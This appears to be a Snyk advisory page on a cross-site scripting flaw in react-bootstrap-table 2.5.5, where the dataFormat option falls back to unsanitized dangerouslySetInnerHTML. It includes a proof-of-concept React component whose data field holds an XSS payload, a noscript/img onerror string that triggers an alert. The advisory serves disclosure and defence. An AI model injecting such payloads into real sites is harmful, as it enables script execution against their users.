react-bootstrap-table@2.5.5 vulnerabilities

It's a react table for bootstrap

Direct Vulnerabilities

Known vulnerabilities in the react-bootstrap-table package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Cross-site Scripting (XSS)

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the dataFormat parameter. The problem is triggered when an invalid React element is returned, leading to dangerouslySetInnerHTML being used, which does not sanitize the output.

PoC by Michael Rodov

import React, { Component } from "react";
import ReactDOM from "react-dom";
import { BootstrapTable, TableHeaderColumn } from "react-bootstrap-table";

const Demo = props => {
  let data = [
    { key: "1", value: "test" },
    {
      key: "2",
      value:
        '/1337"><noscript><p title="</noscript><img src=x onerror=alert`openbugbounty`>">'
    }
  ];
  return (
    <BootstrapTable data={data}>
      <TableHeaderColumn dataField="key" isKey />
      <TableHeaderColumn dataField="value" dataFormat={v => v} />
    </BootstrapTable>
  );
};

ReactDOM.render(<Demo />, document.getElementById("app"));

How to fix Cross-site Scripting (XSS)?

There is no fixed version for react-bootstrap-table.

*